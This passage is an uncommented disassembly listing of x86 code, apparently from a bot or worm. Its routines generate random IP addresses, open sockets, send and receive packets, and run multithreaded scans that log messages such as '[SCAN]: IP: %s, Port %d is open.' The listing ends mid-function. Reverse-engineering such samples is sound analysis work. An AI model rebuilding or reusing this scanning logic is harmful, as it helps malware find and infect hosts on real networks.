mov eax, [esp+1Ch+arg_0]
push eax
mov [esp+20h+var_14], 10h
nop
call near ptr 71AB951Eh
mov ecx, [esp+14h+var_C+3]
mov edx, [esp+14h+var_C+2]
mov eax, [esp+14h+var_C+1]
and ecx, 0FFh
push ecx
mov ecx, [esp+18h+var_C]
and edx, 0FFh
and eax, 0FFh
push edx
and ecx, 0FFh
push eax
push ecx
push offset aD_D_D_D ; "%d.%d.%d.%d"
push offset dword_50FAA8
nop
call sub_5F76F7
mov eax, offset dword_50FAA8
add esp, 2Ch
retn
sub_423760 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_423820 proc near ; CODE XREF: sub_401F55j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, dword_50DB50[esi*8]
push eax
nop
call near ptr 71AB2BC0h
inc eax
push eax
nop
call near ptr 71AB2BC0h
mov dword_50DB50[esi*8], eax
pop esi
retn
sub_423820 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_423860 proc near ; CODE XREF: sub_401131j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 10h
mov edx, [esp+10h+arg_0]
push ebx
or ebx, 0FFFFFFFFh
push edi
mov edi, edx
mov ecx, ebx
xor eax, eax
mov [esp+18h+var_8], ebx
repne scasb
not ecx
dec ecx
mov [esp+18h+var_C], ebx
cmp ecx, 0Fh
mov [esp+18h+var_10], ebx
mov [esp+18h+var_4], ebx
jbe short loc_423892
pop edi
pop ebx
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_423892: ; CODE XREF: sub_423860+2Aj
lea eax, [esp+18h+var_4]
push esi
lea ecx, [esp+1Ch+var_10]
push eax
push ecx
lea eax, [esp+24h+var_C]
lea ecx, [esp+24h+var_8]
push eax
push ecx
push offset aD_D_D_D ; "%d.%d.%d.%d"
push edx
nop
call near ptr 77C41B72h
mov eax, [esp+34h+var_8]
mov esi, dword_511AC8
add esp, 18h
cmp eax, ebx
jnz short loc_4238CA
call esi ; rand
mov [esp+1Ch+var_8], eax
loc_4238CA: ; CODE XREF: sub_423860+62j
cmp [esp+1Ch+var_C], ebx
jnz short loc_4238D6
call esi ; rand
mov [esp+1Ch+var_C], eax
loc_4238D6: ; CODE XREF: sub_423860+6Ej
cmp [esp+1Ch+var_10], ebx
jnz short loc_4238E2
call esi ; rand
mov [esp+1Ch+var_10], eax
loc_4238E2: ; CODE XREF: sub_423860+7Aj
mov eax, [esp+1Ch+var_4]
cmp eax, ebx
jnz short loc_4238EC
call esi ; rand
loc_4238EC: ; CODE XREF: sub_423860+88j
mov edi, [esp+1Ch+var_10]
mov edx, [esp+1Ch+var_C]
shl eax, 8
mov ecx, [esp+1Ch+arg_4]
add eax, edi
shl eax, 8
add eax, edx
mov edx, [esp+1Ch+var_8]
shl eax, 8
add eax, edx
pop esi
pop edi
mov dword_50DB50[ecx*8], eax
pop ebx
add esp, 10h
retn
sub_423860 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_423950 proc near ; CODE XREF: sub_401E56j
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = word ptr -114h
var_112 = word ptr -112h
var_110 = dword ptr -110h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
sub esp, 120h
push esi
push edi
mov edi, 1
push 0
push edi
push 2
mov [esp+134h+var_120], edi
nop
call near ptr 71AB3B91h
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_42397E
pop edi
xor eax, eax
pop esi
add esp, 120h
retn
; ---------------------------------------------------------------------------
loc_42397E: ; CODE XREF: sub_423950+21j
mov ecx, [esp+128h+arg_4]
mov eax, [esp+128h+arg_0]
push ecx
mov [esp+12Ch+var_114], 2
mov [esp+12Ch+var_110], eax
call near ptr 71AB2B66h
nop
lea edx, [esp+128h+var_120]
mov [esp+128h+var_112], ax
push edx
push 8004667Eh
push esi
nop
call near ptr 71AB4519h
lea eax, [esp+128h+var_114]
push 10h
push eax
push esi
nop
call near ptr 71AB406Ah
mov ecx, [esp+128h+arg_8]
lea edx, [esp+128h+var_11C]
push edx
lea eax, [esp+12Ch+var_104]
push 0
push eax
push 0
push 0
mov [esp+13Ch+var_11C], ecx
mov [esp+13Ch+var_118], 0
mov [esp+13Ch+var_100], esi
mov [esp+13Ch+var_104], edi
nop
call near ptr 71AB2DC0h
push esi
mov edi, eax
call near ptr 71AB9639h
nop
xor eax, eax
test edi, edi
pop edi
pop esi
setnle al
add esp, 120h
retn
sub_423950 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_423A40: ; CODE XREF: ___:00401046j
mov eax, 10110h
call sub_437B30
push ebx
push ebp
mov ebp, dword_511C38
push esi
push edi
push 2649h
call ebp ; ntohs
mov [esp+24h], ax
mov eax, [esp+1012Ch]
push eax
call ebp ; ntohs
mov [esp+26h], ax
nop
call near ptr 77C371D3h
xor ebx, ebx
push 200h
mov [esp+2Ch], eax
mov [esp+30h], ebx
mov [esp+34h], bx
mov [esp+44h], bx
mov word ptr [esp+36h], 5
mov [esp+38h], bx
mov word ptr [esp+3Ah], 1
mov [esp+3Ch], bx
mov [esp+3Eh], bx
mov [esp+40h], bx
mov [esp+42h], bx
call ebp ; ntohs
mov ecx, [esp+10124h]
mov edx, [esp+10128h]
push 24h
mov [esp+46h], ax
mov [esp+48h], bx
mov [esp+4Ah], bx
mov [esp+4Ch], ecx
mov [esp+50h], edx
mov [esp+54h], bl
mov byte ptr [esp+55h], 6
call ebp ; ntohs
mov [esp+52h], ax
mov ecx, 9
lea esi, [esp+24h]
lea edi, [esp+54h]
lea eax, [esp+48h]
push 20h
rep movsd
push eax
call sub_401A37
mov edx, [esp+10134h]
xor ecx, ecx
mov [esp+1Ch], ecx
add esp, 8
mov [esp+18h], ecx
mov [esp+44h], ax
mov [esp+1Ch], ecx
push edx
mov [esp+24h], ecx
mov word ptr [esp+18h], 2
call ebp ; ntohs
mov [esp+16h], ax
mov eax, [esp+10128h]
push 6
push 3
push 2
mov [esp+24h], eax
mov dword ptr [esp+1Ch], 10h
nop
call near ptr 71AB3B91h
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_423B69
push offset aSocketOpenFail ; "socket open failed"
jmp loc_423C68
; ---------------------------------------------------------------------------
loc_423B69: ; CODE XREF: ___:00423B5Dj
mov ecx, [esp+10h]
lea edx, [esp+14h]
push ecx
push edx
push ebx
lea eax, [esp+30h]
push 24h
push eax
push esi
call near ptr 71AB2C69h
nop
mov edi, eax
cmp edi, 14h
jz short loc_423BC2
nop
call near ptr 71AB94DCh
push eax
push edi
lea ecx, [esp+70h]
push offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."...
push ecx
nop
call sub_5F76F7
lea edx, [esp+78h]
push edx
call sub_4010D2
add esp, 14h
push esi
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 10110h
retn
; ---------------------------------------------------------------------------
loc_423BC2: ; CODE XREF: ___:00423B87j
mov ecx, 400Dh
xor eax, eax
lea edi, [esp+0E8h]
mov ebp, 2649h
rep stosd
stosw
stosb
cmp [esp+0FEh], bp
jz short loc_423C13
mov edi, dword_511C64
loc_423BEA: ; CODE XREF: ___:00423C11j
lea eax, [esp+10h]
lea ecx, [esp+14h]
push eax
push ecx
push ebx
lea edx, [esp+0F4h]
push 10037h
push edx
push esi
call edi ; recvfrom
test eax, eax
jl short loc_423C42
cmp [esp+0FEh], bp
jnz short loc_423BEA
loc_423C13: ; CODE XREF: ___:00423BE2j
push esi
nop
call near ptr 71AB9639h
cmp word ptr [esp+10Eh], 1
jnz short loc_423C63
push offset aSocketOpen_ ; "Socket open."
call sub_4010D2
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 10110h
retn
; ---------------------------------------------------------------------------
loc_423C42: ; CODE XREF: ___:00423C07j
push offset aRecvfromSocket ; "recvfrom() socket failed"
call sub_4010D2
add esp, 4
push esi
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 10110h
retn
; ---------------------------------------------------------------------------
loc_423C63: ; CODE XREF: ___:00423C23j
push offset dword_4456DC
loc_423C68: ; CODE XREF: ___:00423B64j
call sub_4010D2
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 10110h
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 90h dup(0CCh)
; ---------------------------------------------------------------------------
loc_423D10: ; CODE XREF: ___:loc_401F41j
sub esp, 290h
mov eax, [esp+294h]
push ebx
push ebp
push esi
push edi
mov ecx, 53h
mov esi, eax
lea edi, [esp+18h]
rep movsd
mov esi, [esp+13Ch]
mov ecx, [esp+140h]
mov [esp+10h], esi
mov [esp+14h], ecx
mov dword ptr [eax+148h], 1
call near ptr 27F0C4Bh
nop
push eax
nop
call near ptr 77C371BCh
lea eax, [esi+esi*2]
add esp, 4
shl eax, 4
sub eax, esi
lea eax, [eax+eax*2]
lea ebp, ds:44AF8Bh[eax*4]
mov eax, dword_44B18F[eax*4]
mov ecx, dword_50DB54[eax*8]
test ecx, ecx
jz loc_423FBE
mov ebx, off_511C00
loc_423D8C: ; CODE XREF: ___:00423FB4j
mov ecx, [esp+158h]
push eax
test ecx, ecx
jz short loc_423DA7
lea edx, [esp+1Ch]
push edx
call sub_401131
add esp, 8
jmp short loc_423DAF
; ---------------------------------------------------------------------------
loc_423DA7: ; CODE XREF: ___:00423D96j
call sub_401F55
add esp, 4
loc_423DAF: ; CODE XREF: ___:00423DA5j
mov ecx, [ebp+204h]
mov edx, [esp+12Ch]
mov edi, dword_511C88
mov esi, eax
mov eax, [esp+14h]
push eax
push ecx
push edx
push esi
call edi ; inet_ntoa
push eax
lea eax, [esp+230h]
push offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"...
push eax
call ebx ; sub_5F76F7
lea ecx, [esp+238h]
push ecx
push ebp
call ebx ; sub_5F76F7
mov edx, [esp+150h]
mov eax, [esp+14Ch]
push edx
push eax
push esi
call sub_401E56
add esp, 2Ch
cmp eax, 1
jnz loc_423F9A
cmp dword ptr [esp+148h], 0FFFFFFFFh
jnz loc_423EBF
push offset dword_50FA90
call near ptr 7C901005h
nop
mov ecx, [esp+12Ch]
push ecx
push esi
call edi ; inet_ntoa
push eax
lea edx, [esp+228h]
push offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open."
push edx
call ebx ; sub_5F76F7
mov eax, [esp+164h]
add esp, 10h
test eax, eax
jnz short loc_423E9F
mov al, [esp+0A8h]
test al, al
jz short loc_423E7A
mov eax, [esp+150h]
lea ecx, [esp+220h]
push eax
mov eax, [esp+12Ch]
lea edx, [esp+0ACh]
push ecx
push edx
push eax
jmp short loc_423E97
; ---------------------------------------------------------------------------
loc_423E7A: ; CODE XREF: ___:00423E56j
mov ecx, [esp+150h]
lea edx, [esp+220h]
push ecx
mov ecx, [esp+12Ch]
lea eax, [esp+2Ch]
push edx
push eax
push ecx
loc_423E97: ; CODE XREF: ___:00423E78j
call sub_40152D
add esp, 10h
loc_423E9F: ; CODE XREF: ___:00423E4Bj
lea edx, [esp+220h]
push edx
call sub_4010D2
add esp, 4
push offset dword_50FA90
nop
call near ptr 7C9010EDh
jmp loc_423F9A
; ---------------------------------------------------------------------------
loc_423EBF: ; CODE XREF: ___:00423E13j
push esi
call edi ; inet_ntoa
push eax
lea eax, [esp+16Ch]
push eax
call ebx ; sub_5F76F7
mov eax, [esp+150h]
lea eax, [eax+eax*2]
lea ecx, [eax+eax*4]
lea eax, [esp+200h]
lea edx, ds:4453F0h[ecx*4]
push edx
push eax
call ebx ; sub_5F76F7
mov al, [esp+0B8h]
add esp, 10h
test al, al
jz short loc_423F0C
lea ecx, [esp+0A8h]
lea edx, [esp+178h]
push ecx
push edx
jmp short loc_423F19
; ---------------------------------------------------------------------------
loc_423F0C: ; CODE XREF: ___:00423EF8j
lea eax, [esp+28h]
lea ecx, [esp+178h]
push eax
push ecx
loc_423F19: ; CODE XREF: ___:00423F0Aj
call ebx ; sub_5F76F7
mov eax, [esp+158h]
mov edx, [esp+130h]
mov ecx, [esp+15Ch]
mov [esp+21Ah], eax
mov eax, [esp+18h]
add esp, 8
mov [esp+164h], edx
mov edx, [esp+12Ch]
mov [esp+206h], eax
mov eax, [esp+148h]
sub esp, 0BCh
mov [esp+2D2h], ecx
mov ecx, 2Eh
lea esi, [esp+220h]
mov edi, esp
mov [esp+2BEh], edx
mov [esp+2C6h], eax
lea eax, [eax+eax*2]
rep movsd
lea edx, [eax+eax*4]
movsw
call off_44541C[edx*4]
add esp, 0BCh
loc_423F9A: ; CODE XREF: ___:00423E05j
; ___:00423EBAj
push 7D0h
nop
call near ptr 2850369h
mov eax, [ebp+204h]
mov ecx, dword_50DB54[eax*8]
test ecx, ecx
jnz loc_423D8C
mov esi, [esp+10h]
loc_423FBE: ; CODE XREF: ___:00423D80j
push esi
call sub_401E3D
add esp, 4
push 0
nop
call near ptr 2850505h
nop
; ---------------------------------------------------------------------------
db 7Dh dup(0CCh)
byte_42404D db 33h dup(0CCh) ; DATA XREF: sub_58F5B5+5FC1o
; ---------------------------------------------------------------------------
loc_424080: ; CODE XREF: sub_402284j
mov eax, [esp+4]
sub esp, 1CCh
mov ecx, 53h
push ebx
push ebp
push esi
push edi
mov esi, eax
lea edi, [esp+10h]
mov ebx, 1
rep movsd
mov [eax+144h], ebx
lea eax, [esp+10h]
push eax
nop
call near ptr 71AB2BF4h
sub esp, 14Ch
lea esi, [esp+15Ch]
mov ecx, [esp+27Ch]
mov edi, esp
mov dword_50DB50[ecx*8], eax
mov ecx, 53h
rep movsd
call j_nullsub_9
push 3
call sub_40148D
add esp, 150h
cmp eax, ebx
jnz short loc_424101
push offset dword_50FA90
call near ptr 27906F2h
nop
push offset dword_50FA90
call near ptr 2790E47h
nop
loc_424101: ; CODE XREF: ___:004240E9j
mov edx, [esp+130h]
mov eax, [esp+13Ch]
mov ebp, dword_5118D8
mov esi, ebx
mov dword_50DB54[edx*8], ebx
cmp eax, ebx
mov ebx, off_511C00
jb loc_424230
mov edi, dword_51186C
loc_424132: ; CODE XREF: ___:0042422Aj
mov eax, [esp+130h]
mov ecx, [esp+124h]
push esi
push eax
lea edx, [esp+18h]
push ecx
push edx
lea eax, [esp+16Ch]
push offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"...
push eax
mov [esp+150h], esi
call ebx ; sub_5F76F7
push 0
lea ecx, [esp+178h]
push 3
push ecx
call sub_401BEA
lea ecx, [eax+eax*2]
add esp, 24h
shl ecx, 4
sub ecx, eax
push 0
push 0
mov [esp+13Ch], eax
mov eax, [esp+138h]
lea edx, [ecx+ecx*2]
lea ecx, [esp+18h]
push ecx
push offset loc_401F41
push 0
push 0
mov dword_44B18F[edx*4], eax
call edi
mov edx, [esp+134h]
lea ecx, [edx+edx*2]
shl ecx, 4
sub ecx, edx
lea edx, [ecx+ecx*2]
mov dword_44B19F[edx*4], eax
mov ecx, [esp+134h]
lea eax, [ecx+ecx*2]
shl eax, 4
sub eax, ecx
lea eax, [eax+eax*2]
mov ecx, dword_44B19F[eax*4]
test ecx, ecx
jz short loc_4241F8
mov eax, [esp+158h]
test eax, eax
jnz short loc_42421E
loc_4241E7: ; CODE XREF: ___:004241F4j
push 1Eh
call ebp
mov eax, [esp+158h]
test eax, eax
jz short loc_4241E7
jmp short loc_42421E
; ---------------------------------------------------------------------------
loc_4241F8: ; CODE XREF: ___:004241DAj
nop
call near ptr 27D0990h
push eax
lea ecx, [esp+160h]
push offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "...
push ecx
call ebx ; sub_5F76F7
lea edx, [esp+168h]
push edx
call sub_4010D2
add esp, 10h
loc_42421E: ; CODE XREF: ___:004241E5j
; ___:004241F6j
push 1Eh
call ebp
inc esi
cmp esi, [esp+13Ch]
jbe loc_424132
loc_424230: ; CODE XREF: ___:00424126j
mov eax, [esp+12Ch]
test eax, eax
jz short loc_42425E
lea eax, [eax+eax*2]
lea eax, [eax+eax*4]
lea eax, [eax+eax*4]
lea eax, [eax+eax*4]
lea eax, [eax+eax*4]
shl eax, 5
push eax
call ebp
mov esi, 1
mov eax, [esp+12Ch]
jmp short loc_424291
; ---------------------------------------------------------------------------
loc_42425E: ; CODE XREF: ___:00424239j
mov ecx, [esp+130h]
mov esi, 1
cmp dword_50DB54[ecx*8], esi
jnz short loc_424291
loc_424273: ; CODE XREF: ___:00424288j
push 7D0h
call ebp
mov edx, [esp+130h]
cmp dword_50DB54[edx*8], esi
jz short loc_424273
mov eax, [esp+12Ch]
loc_424291: ; CODE XREF: ___:0042425Cj
; ___:00424271j
mov ecx, [esp+130h]
mov edx, [esp+124h]
push eax
push edx
mov ecx, dword_50DB50[ecx*8]
push ecx
call near ptr 71AB3F41h
nop
push eax
lea eax, [esp+168h]
push offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"...
push eax
call ebx ; sub_5F76F7
mov eax, [esp+160h]
add esp, 14h
test eax, eax
jnz short loc_4242F2
mov ecx, [esp+148h]
lea edx, [esp+15Ch]
push ecx
mov ecx, [esp+124h]
lea eax, [esp+24h]
push edx
push eax
push ecx
call sub_40152D
add esp, 10h
loc_4242F2: ; CODE XREF: ___:004242CBj
lea edx, [esp+15Ch]
push edx
call sub_4010D2
mov eax, [esp+134h]
add esp, 4
push 0BB8h
mov dword_50DB54[eax*8], 0
call ebp
push 3
call sub_40148D
add esp, 4
cmp eax, esi
jnz short loc_424334
push offset dword_50FA90
nop
call near ptr 27906F2h
loc_424334: ; CODE XREF: ___:00424327j
mov ecx, [esp+130h]
push ecx
call sub_401E3D
add esp, 4
push 0
nop
call near ptr 2850505h
nop
nop
nop
nop
; ---------------------------------------------------------------------------
db 0C0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424410 proc near ; CODE XREF: sub_4012A8j
mov eax, ecx
mov dword ptr [eax+4], 0
mov dword ptr [eax], 0
retn
sub_424410 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_424430: ; CODE XREF: ___:004015EBj
mov edx, [esp+4]
sub esp, 8
xor eax, eax
push esi
mov esi, ecx
push edi
mov edi, edx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
push ecx
push edx
lea ecx, [esp+10h]
call sub_401843
mov ecx, [eax]
pop edi
mov [esi], ecx
mov edx, [eax+4]
mov eax, esi
mov [esi+4], edx
pop esi
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424480 proc near ; CODE XREF: sub_401843j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push ebp
mov ebp, [esp+8+arg_4]
mov ebx, ecx
push ebp
nop
call near ptr 77C2C407h
mov edx, eax
add esp, 4
test edx, edx
jz short loc_4244D2
mov ecx, ebp
push esi
mov esi, ecx
push edi
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+10h+arg_0]
and ecx, 3
rep stosb
mov ecx, ebp
mov edi, edx
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
mov eax, ebx
and ecx, 3
rep movsb
pop edi
mov [ebx+4], ebp
pop esi
mov [ebx], edx
pop ebp
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_4244D2: ; CODE XREF: sub_424480+16j
mov eax, ebx
pop ebp
pop ebx
retn 8
sub_424480 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424500 proc near ; CODE XREF: sub_4021F8j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
push ebx
mov ebx, ecx
push ebp
mov ecx, [esp+8+arg_C]
lea ebp, [eax+ecx]
push ebp
nop
call near ptr 77C2C407h
mov edx, eax
add esp, 4
test edx, edx
jz short loc_424574
mov ecx, ebp
push esi
mov esi, ecx
push edi
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+10h+arg_0]
and ecx, 3
rep stosb
mov ecx, [esp+10h+arg_4]
mov edi, edx
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ecx, [esp+10h+arg_C]
mov esi, [esp+10h+arg_8]
lea edi, [edx+eax]
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
mov eax, ebx
and ecx, 3
rep movsb
pop edi
mov [ebx+4], ebp
pop esi
mov [ebx], edx
pop ebp
pop ebx
retn 10h
; ---------------------------------------------------------------------------
loc_424574: ; CODE XREF: sub_424500+1Dj
mov eax, ebx
pop ebp
pop ebx
retn 10h
sub_424500 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4245A0 proc near ; CODE XREF: sub_4016C2j
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_4245B3
push eax
call near ptr 77C2C21Bh
nop
add esp, 4
loc_4245B3: ; CODE XREF: sub_4245A0+7j
mov dword ptr [esi+4], 0
mov dword ptr [esi], 0
pop esi
retn
sub_4245A0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4245E0 proc near ; CODE XREF: sub_4010A0j
var_4 = dword ptr -4
push ecx
push ebx
mov ebx, ecx
push ebp
push esi
mov eax, [ebx+4]
cmp eax, 0FFFFh
jl short loc_4245F7
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_4245F7: ; CODE XREF: sub_4245E0+Ej
xor ecx, ecx
cmp eax, 7Fh
setnl cl
dec ecx
and ecx, 0FFFFFFFEh
add ecx, 3
mov esi, ecx
add eax, esi
mov [esp+10h+var_4], esi
push eax
nop
call near ptr 77C2C407h
mov ebp, eax
add esp, 4
test ebp, ebp
jnz short loc_424625
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_424625: ; CODE XREF: sub_4245E0+3Cj
push edi
mov edi, [ebx+4]
mov ecx, esi
xor eax, eax
add ecx, edi
mov edi, ebp
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
cmp esi, 1
rep stosb
jnz short loc_424654
mov al, [ebx+4]
lea edi, [ebp+1]
mov [ebp+0], al
mov ecx, [ebx+4]
mov esi, [ebx]
jmp short loc_42466F
; ---------------------------------------------------------------------------
loc_424654: ; CODE XREF: sub_4245E0+62j
mov byte ptr [ebp+0], 82h
mov eax, [ebx+4]
sar eax, 8
mov [ebp+1], al
mov cl, [ebx+4]
mov [ebp+2], cl
mov ecx, [ebx+4]
mov esi, [ebx]
lea edi, [ebp+3]
loc_42466F: ; CODE XREF: sub_4245E0+72j
mov edx, ecx
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov eax, [ebx]
push eax
nop
call near ptr 77C2C21Bh
mov ecx, [esp+18h+var_4]
mov eax, [ebx+4]
add esp, 4
add eax, ecx
mov [ebx], ebp
mov [ebx+4], eax
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
pop ecx
retn
sub_4245E0 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4246D0 proc near ; CODE XREF: sub_401B7Cj
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 8
push ebx
push ebp
mov ebp, ecx
mov eax, [ebp+4]
mov ecx, [ebp+0]
push eax
push ecx
push 1
push offset dword_448F34
lea ecx, [esp+20h+var_8]
call sub_4021F8
lea ecx, [esp+10h+var_8]
call sub_4010A0
mov edx, [esp+10h+var_4]
inc edx
push edx
nop
call near ptr 77C2C407h
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_424715
pop ebp
xor al, al
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_424715: ; CODE XREF: sub_4246D0+3Bj
mov eax, [esp+10h+var_4]
push esi
push edi
mov edi, ebx
lea ecx, [eax+1]
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
mov byte ptr [ebx], 3
mov ecx, [esp+18h+var_4]
mov esi, [esp+18h+var_8]
mov eax, ecx
lea edi, [ebx+1]
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ecx, ebp
call sub_4016C2
mov ecx, [esp+18h+var_4]
mov [ebp+0], ebx
inc ecx
mov [ebp+4], ecx
lea ecx, [esp+18h+var_8]
call sub_4016C2
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 8
retn
sub_4246D0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4247B0 proc near ; CODE XREF: sub_4012C6j
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
sub esp, 8
push esi
mov esi, ecx
mov ecx, [esp+0Ch+arg_0]
push eax
mov edx, [esi+4]
mov eax, [esi]
push ecx
push edx
push eax
lea ecx, [esp+1Ch+var_8]
call sub_4021F8
mov ecx, esi
call sub_4016C2
mov ecx, [esp+0Ch+var_8]
mov edx, [esp+0Ch+var_4]
mov [esi], ecx
mov [esi+4], edx
mov al, 1
pop esi
add esp, 8
retn 8
sub_4247B0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424800 proc near ; CODE XREF: sub_402054j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov edx, ecx
push edi
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
push esi
mov ecx, edx
call sub_4012C6
pop edi
pop esi
retn 4
sub_424800 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424840 proc near ; CODE XREF: sub_401505j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov edx, [esp+arg_0]
push eax
push edx
call sub_4012C6
retn 8
sub_424840 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424870 proc near ; CODE XREF: sub_4017D5j
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 8
push esi
mov esi, ecx
call sub_4010A0
test al, al
jnz short loc_424884
pop esi
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_424884: ; CODE XREF: sub_424870+Dj
mov eax, [esi+4]
mov ecx, [esi]
push eax
push ecx
push 1
push offset dword_445C04
lea ecx, [esp+1Ch+var_8]
call sub_4021F8
mov ecx, esi
call sub_4016C2
mov edx, [esp+0Ch+var_8]
mov eax, [esp+0Ch+var_4]
mov [esi], edx
mov [esi+4], eax
mov al, 1
pop esi
add esp, 8
retn
sub_424870 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4248E0 proc near ; CODE XREF: sub_401EC9j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov esi, ecx
push eax
mov ecx, [esp+8+arg_0]
push ecx
mov ecx, esi
call sub_401505
test al, al
jnz short loc_4248FC
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_4248FC: ; CODE XREF: sub_4248E0+16j
mov ecx, esi
call sub_4017D5
pop esi
retn 8
sub_4248E0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424920 proc near ; CODE XREF: sub_401BFEj
var_858 = dword ptr -858h
var_854 = dword ptr -854h
var_850 = dword ptr -850h
var_84C = dword ptr -84Ch
var_848 = dword ptr -848h
var_844 = dword ptr -844h
var_840 = dword ptr -840h
var_83C = dword ptr -83Ch
var_838 = dword ptr -838h
var_834 = dword ptr -834h
var_830 = dword ptr -830h
var_82C = dword ptr -82Ch
var_828 = dword ptr -828h
var_824 = dword ptr -824h
var_820 = dword ptr -820h
var_81C = dword ptr -81Ch
var_818 = dword ptr -818h
var_814 = dword ptr -814h
var_810 = dword ptr -810h
var_80C = dword ptr -80Ch
var_808 = dword ptr -808h
var_804 = dword ptr -804h
var_800 = byte ptr -800h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
sub esp, 858h
lea ecx, [esp+858h+var_818]
push ebx
push esi
call sub_4012A8
mov esi, [esp+860h+arg_8]
cmp esi, 408h
jg loc_424CF5
mov ebx, [esp+860h+arg_10]
lea eax, [ebx+8]
